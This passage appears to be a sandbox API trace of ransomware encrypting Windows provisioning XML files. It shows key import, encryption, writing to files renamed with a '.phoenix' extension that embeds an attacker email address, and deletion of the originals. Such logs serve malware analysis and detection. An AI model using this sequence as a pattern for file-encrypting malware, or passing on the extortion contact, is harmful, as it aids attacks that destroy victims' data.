	[0227.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.301] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.301] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.301] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.301] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.301] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0227.301] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.301] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cc, lpOverlapped=0x0) returned 1
	[0227.303] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0227.303] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0227.304] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0227.304] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.304] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0227.304] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.304] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0227.305] CryptDestroyKey (hKey=0x151200) returned 1
	[0227.305] CloseHandle (hObject=0x2e8) returned 1
	[0227.305] CloseHandle (hObject=0x2f0) returned 1
	[0227.306] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml")) returned 1
	[0227.307] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.307] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.307] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=7361) returned 1
	[0227.307] CloseHandle (hObject=0x2f0) returned 1
	[0227.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml")) returned 0x20
	[0227.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.308] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0227.308] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.308] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.308] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.783] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0227.783] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.783] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cc1, lpOverlapped=0x0) returned 1
	[0227.939] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1cd0) returned 1
	[0227.939] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1cd0, lpOverlapped=0x0) returned 1
	[0227.952] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0227.952] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.952] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0227.952] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0227.952] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0227.952] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0227.952] CloseHandle (hObject=0x2f0) returned 1
	[0227.952] CloseHandle (hObject=0x2c0) returned 1
	[0227.955] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\customizations.xml")) returned 1
	[0228.312] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.313] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.313] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=460) returned 1
	[0228.313] CloseHandle (hObject=0x2e8) returned 1
	[0228.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml")) returned 0x20
	[0228.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.313] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.313] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.313] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.313] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.314] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0228.314] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.314] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1cc, lpOverlapped=0x0) returned 1
	[0228.315] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0228.315] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0228.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151580) returned 1
	[0228.316] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.316] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0228.316] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.316] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0228.332] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0228.332] CloseHandle (hObject=0x2e8) returned 1
	[0228.332] CloseHandle (hObject=0x2d8) returned 1
	[0228.333] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml")) returned 1
	[0228.334] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.334] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0228.334] CloseHandle (hObject=0x2d8) returned 1
	[0228.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml")) returned 0x20
	[0228.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.335] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.335] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0228.337] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.337] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0228.338] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0228.338] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0228.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151580) returned 1
	[0228.339] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.339] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0228.339] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.339] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0228.371] CryptDestroyKey (hKey=0x151040) returned 1
	[0228.371] CloseHandle (hObject=0x2d8) returned 1
	[0228.371] CloseHandle (hObject=0x2e8) returned 1
	[0228.372] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\masterdatastore.xml")) returned 1
	[0228.374] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.374] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.375] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0228.375] CloseHandle (hObject=0x2e8) returned 1
	[0228.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml")) returned 0x20
	[0228.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.377] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.377] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.377] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.377] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.378] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0228.378] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.378] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0228.379] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0228.379] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0228.380] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0228.380] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.380] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0228.380] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0228.380] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0228.441] CryptDestroyKey (hKey=0x151040) returned 1
	[0228.441] CloseHandle (hObject=0x2d8) returned 1
	[0228.441] CloseHandle (hObject=0x2c8) returned 1
	[0228.441] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml")) returned 1
	[0228.445] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.446] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.449] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0228.449] CloseHandle (hObject=0x2c8) returned 1
	[0228.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml")) returned 0x20
